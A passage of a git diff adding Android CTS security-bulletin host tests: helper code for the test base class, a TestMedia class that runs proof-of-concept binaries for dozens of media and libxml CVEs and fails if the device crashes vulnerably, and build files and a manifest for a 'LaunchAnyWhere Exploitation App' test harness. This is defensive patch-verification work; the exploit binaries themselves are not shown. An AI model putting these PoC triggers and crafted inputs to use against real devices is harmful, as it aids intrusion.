+ // 32-bit pointer
+ BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
+ // 32-bit kernel memory range: 0xC0000000 -> 0xffffffff
+ // 0x3fffffff bytes = 1GB / 0xffffffff = 4 GB
+ // 1 in 4 collision for hashed pointers
+ return address.compareTo(new BigInteger("C0000000", RADIX_HEX)) >= 0;
+ } else if (length == 16) {
+ // 64-bit pointer
+ BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
+ // 64-bit kernel memory range: 0x8000000000000000 -> 0xffffffffffffffff
+ // 48-bit implementation: 0xffff800000000000; 1 in 131,072 collision
+ // 56-bit implementation: 0xff80000000000000; 1 in 512 collision
+ // 64-bit implementation: 0x8000000000000000; 1 in 2 collision
+ return address.compareTo(new BigInteger("ff80000000000000", RADIX_HEX)) >= 0;
+ }
+
+ return false;
+ }
+
+ /**
+ * Check if a driver is present on a machine.
+ */
+ protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
+ boolean containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+
+ MetricsReportLog reportLog = buildMetricsReportLog(getDevice());
+ reportLog.addValue("path", driver, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue("exists", containsDriver, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.submit();
+
+ return containsDriver;
+ }
+
+ protected static MetricsReportLog buildMetricsReportLog(ITestDevice device) {
+ IBuildInfo buildInfo = getBuildInfo(device);
+ IAbi abi = getAbi(device);
+ String testName = getTestName(device);
+
+ StackTraceElement[] stacktraces = Thread.currentThread().getStackTrace();
+ int stackDepth = 2; // 0: getStackTrace(), 1: buildMetricsReportLog, 2: caller
+ String className = stacktraces[stackDepth].getClassName();
+ String methodName = stacktraces[stackDepth].getMethodName();
+ String classMethodName = String.format("%s#%s", className, methodName);
+
+ // The stream name must be snake_case or else json formatting breaks
+ String streamName = methodName.replaceAll("(\\p{Upper})", "_$1").toLowerCase();
+
+ MetricsReportLog reportLog = new MetricsReportLog(
+ buildInfo,
+ abi.getName(),
+ classMethodName,
+ "CtsSecurityBulletinHostTestCases",
+ streamName,
+ true);
+ reportLog.addValue("test_name", testName, ResultType.NEUTRAL, ResultUnit.NONE);
+ return reportLog;
+ }
+
+ private long getDeviceUptime() throws DeviceNotAvailableException {
+ String uptime = getDevice().executeShellCommand("cat /proc/uptime");
+ return Long.parseLong(uptime.substring(0, uptime.indexOf('.')));
+ }
+
+ public void safeReboot() throws DeviceNotAvailableException {
+ getDevice().nonBlockingReboot();
+ getDevice().waitForDeviceAvailable();
+ updateKernelStartTime();
+ }
+
+ /**
+ * Allows a test to pass if called after a planned reboot.
+ */
+ public void updateKernelStartTime() throws DeviceNotAvailableException {
+ long uptime = getDeviceUptime();
+ kernelStartTime = (System.currentTimeMillis() / 1000) - uptime;
+ }
+
+ public HostsideOomCatcher getOomCatcher() {
+ return oomCatcher;
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
new file mode 100644
index 0000000..085442e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -0,0 +1,589 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.compatibility.common.util.CrashUtils;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+import junit.framework.Assert;
+import java.util.Arrays;
+import java.util.ArrayList;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class TestMedia extends SecurityTestCase {
+
+
+ /******************************************************************************
+ * To prevent merge conflicts, add tests for N below this comment, before any
+ * existing test methods
+ ******************************************************************************/
+
+ /******************************************************************************
+ * To prevent merge conflicts, add tests for O below this comment, before any
+ * existing test methods
+ ******************************************************************************/
+
+ /**
+ * b/157650336
+ * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
+ @Test
+ public void testPocCVE_2020_0450() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0450", null, getDevice());
+ }
+
+ /**
+ * b/156997193
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
+ @Test
+ public void testPocCVE_2020_0409() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0409";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/156999009
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0408() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0408";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/161894517
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0421() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0421";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/132082342
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2133() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2133", null, getDevice());
+ }
+
+ /**
+ * b/132083376
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2134() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2134", null, getDevice());
+ }
+
+ /*
+ * b/31470908
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2017-04")
+ @Test
+ public void testPocCVE_2016_10244() throws Exception {
+ String inputFiles[] = {"cve_2016_10244"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-10244",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/27793367
+ * Vulnerability Behaviour: SIGSEGV in mediaserver or omx@1.0-service
+ */
+ @SecurityTest(minPatchLevel = "2016-06")
+ @Test
+ public void testPocCVE_2016_2485() throws Exception {
+ String inputFiles[] = {"cve_2016_2485.raw"};
+ String processPatternStrings[] = {"mediaserver", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-2485",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/141890807
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-01")
+ @Test
+ public void testPocCVE_2020_0007() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0007", null, getDevice());
+ }
+
+ /**
+ * b/118372692
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-02")
+ @Test
+ public void testPocCVE_2019_1988() throws Exception {
+ String inputFiles[] = {"cve_2019_1988.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-1988",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/63522430
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_0817() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0817", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/36104177
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-09")
+ @Test
+ public void testPocCVE_2017_0670() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0670", null, getDevice());
+ }
+
+ /**
+ * b/68159767
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2018-02")
+ @Test
+ public void testPocCVE_2017_13234() throws Exception {
+ String inputFiles[] = { "cve_2017_13234.xmf" };
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13234",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/134578122
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-10")
+ @Test
+ public void testPocCVE_2019_2184() throws Exception {
+ String inputFiles[] = {"cve_2019_2184.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2184",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/144767096
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-05")
+ @Test
+ public void testPocCVE_2020_0101() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0101", null, getDevice());
+ }
+
+ /**
+ * b/66969349
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_13180() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13180", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/111210196
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-12")
+ @Test
+ public void testPocCVE_2019_2228() throws Exception {
+ String inputFiles[] = {"cve_2019_2228_ipp.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2228",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/62151041 - Has 4 CVEs filed together
+ */
+ /** 1. CVE-2017-9047
+ * Vulnerability Behaviour: SIGABRT by -fstack-protector
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPocCVE_2018_9466_CVE_2017_9047() throws Exception {
+ String binaryName = "CVE-2018-9466-CVE-2017-9047";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /** 2. CVE-2017-9048
+ * Vulnerability Behaviour: SIGABRT by -fstack-protector
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPocCVE_2018_9466_CVE_2017_9048() throws Exception {
+ String binaryName = "CVE-2018-9466-CVE-2017-9048";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /** 3. CVE-2017-9049
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPocCVE_2018_9466_CVE_2017_9049() throws Exception {
+ String binaryName = "CVE-2018-9466-CVE-2017-9049";
+ String inputFiles[] = {"cve_2018_9466_cve_2017_9049.xml"};
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /** 4. CVE-2017-9050
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPocCVE_2018_9466_CVE_2017_9050() throws Exception {
+ String binaryName = "CVE-2018-9466-CVE-2017-9049";
+ String inputFiles[] = {"cve_2018_9466_cve_2017_9050.xml"};
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/74122779
+ * Vulnerability Behaviour: SIGABRT in audioserver
+ */
+ @SecurityTest(minPatchLevel = "2018-07")
+ @Test
+ public void testPocCVE_2018_9428() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/23247055
+ * Vulnerability Behaviour: SIGABRT in self
+ **/
+ @SecurityTest(minPatchLevel = "2015-10")
+ @Test
+ public void testPocCVE_2015_3873() throws Exception {
+ String inputFiles[] = {"cve_2015_3873.mp4"};
+ String binaryName = "CVE-2015-3873";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/64340921
+ * Vulnerability Behaviour: SIGABRT in audioserver
+ */
+ @SecurityTest(minPatchLevel = "2018-02")
+ @Test
+ public void testPocCVE_2017_0837() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2017-0837", getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/66969193
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_13179() throws Exception {
+ pocPusher.only32();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13179", null, getDevice());
+ }
+
+ /**
+ * b/127702368
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2126() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2126", null, getDevice());
+ }
+
+ /**
+ * b/36389123
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-08")
+ @Test
+ public void testPocCVE_2017_0726() throws Exception {
+ String inputFiles[] = {"cve_2017_0726.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0726",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/37239013
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-07")
+ @Test
+ public void testPocCVE_2017_0697() throws Exception {
+ String inputFiles[] = {"cve_2017_0697.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0697",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/111603051
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2018-10")
+ @Test
+ public void testPocCVE_2018_9491() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9491", null, getDevice());
+ }
+
+ /**
+ * b/79662501
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2018-09")
+ @Test
+ public void testPocCVE_2018_9472() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9472", null, getDevice());
+ }
+
+ /**
+ * b/36554207
+ * Vulnerability Behaviour: SIGSEGV in self
+ **/
+ @SecurityTest(minPatchLevel = "2017-06")
+ @Test
+ public void testPocCVE_2016_4658() throws Exception {
+ String inputFiles[] = {"cve_2016_4658.xml"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-4658",
+ AdbUtils.TMP_PATH + inputFiles[0] + " \"range(//namespace::*)\"", inputFiles,
+ AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/36554209
+ * Vulnerability Behaviour: SIGSEGV in self
+ **/
+ @SecurityTest(minPatchLevel = "2017-06")
+ @Test
+ public void testPocCVE_2016_5131() throws Exception {
+ String inputFiles[] = {"cve_2016_5131.xml"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-5131",
+ AdbUtils.TMP_PATH + inputFiles[0] + " \"name(range-to(///doc))0+0+22\"", inputFiles,
+ AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/62800140
+ * Vulnerability Behaviour: SIGSEGV in self
+ **/
+ @SecurityTest(minPatchLevel = "2017-10")
+ @Test
+ public void testPocCVE_2017_0814() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0814", null, getDevice());
+ }
+
+ /**
+ * b/120789744
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-03")
+ @Test
+ public void testPocCVE_2019_2007() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2007", null, getDevice());
+ }
+
+ /**
+ * b/65540999
+ * Vulnerability Behaviour: Assert failure
+ **/
+ @SecurityTest(minPatchLevel = "2017-11")
+ @Test
+ public void testPocCVE_2017_0847() throws Exception {
+ String cmdOut = AdbUtils.runCommandLine("ps -eo cmd,gid | grep mediametrics", getDevice());
+ if (cmdOut.length() > 0) {
+ String[] segment = cmdOut.split("\\s+");
+ if (segment.length > 1) {
+ if (segment[1].trim().equals("0")) {
+ Assert.fail("mediametrics has root group id");
+ }
+ }
+ }
+ }
+
+ /**
+ * b/32096780
+ * Vulnerability Behaviour: SIGSEGV in self
+ **/
+ @SecurityTest(minPatchLevel = "2017-08")
+ @Test
+ public void testPocCVE_2017_0713() throws Exception {
+ String inputFiles[] = {"cve_2017_0713.ttf"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0713",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/112159345
+ * Vulnerability Behaviour: SIGSEGV in self
+ **/
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2018_9527() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9527", null, getDevice());
+ }
+
+ /**
+ * b/37761553
+ * Vulnerability Behaviour: SIGSEGV in self
+ **/
+ @SecurityTest(minPatchLevel = "2017-06")
+ @Test
+ public void testPocCVE_2016_8332() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-8332", null, getDevice());
+ }
+
+ /**
+ * b/62948670
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2017-11")
+ @Test
+ public void testPocCVE_2017_0840() throws Exception {
+ pocPusher.only32();
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0840", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/69065651
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-02")
+ @Test
+ public void testPocCVE_2017_13241() throws Exception {
+ pocPusher.only32();
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13241", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/30033990
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2016-10")
+ @Test
+ public void testPocCVE_2016_3909() throws Exception {
+ pocPusher.only32();
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-3909", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /******************************************************************************
+ * To prevent merge conflicts, add tests for P below this comment, before any
+ * existing test methods
+ ******************************************************************************/
+
+ /**
+ * b/112891564
+ * Vulnerability Behaviour: SIGSEGV in self (Android P),
+ * SIGABRT in self (Android Q onward)
+ */
+ @SecurityTest(minPatchLevel = "2018-11")
+ @Test
+ public void testPocCVE_2018_9537() throws Exception {
+ String binaryName = "CVE-2018-9537";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /******************************************************************************
+ * To prevent merge conflicts, add tests for Q below this comment, before any
+ * existing test methods
+ ******************************************************************************/
+}
diff --git a/hostsidetests/securitybulletin/test-apps/Android.mk b/hostsidetests/securitybulletin/test-apps/Android.mk
new file mode 100644
index 0000000..f8d63a5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/Android.mk
@@ -0,0 +1,23 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
similarity index 68%
rename from hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk
rename to hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
index 77d2b82..226c360 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
@@ -1,5 +1,5 @@
#
-# Copyright (C) 2019 The Android Open Source Project
+# Copyright (C) 2018 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -20,16 +20,15 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-#LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
-#LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-LOCAL_PACKAGE_NAME := CtsPrivilegedUpdatePreparer
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-include $(BUILD_CTS_PACKAGE)
+LOCAL_PACKAGE_NAME := CtsHostLaunchAnyWhereApp
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
new file mode 100644
index 0000000..1553c92
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.security.cts.launchanywhere"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <application android:label="LaunchAnyWhere Exploitation App">
+ <activity android:name=".StartExploit">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <service android:name=".AuthenticatorService"
+ android:enabled="true"
+ android:exported="true">
+
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/launchanywhere_authenticator" />
+ </service>
+
+ </application>
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/launchanywhere/res/xml/launchanywhere_authenticator.xml
similarity index 73%
rename from tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
rename to hostsidetests/securitybulletin/test-apps/launchanywhere/res/xml/launchanywhere_authenticator.xml
index 186bbb1a..bd8643f 100644
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/res/xml/launchanywhere_authenticator.xml
@@ -1,6 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2018 The Android Open Source Project
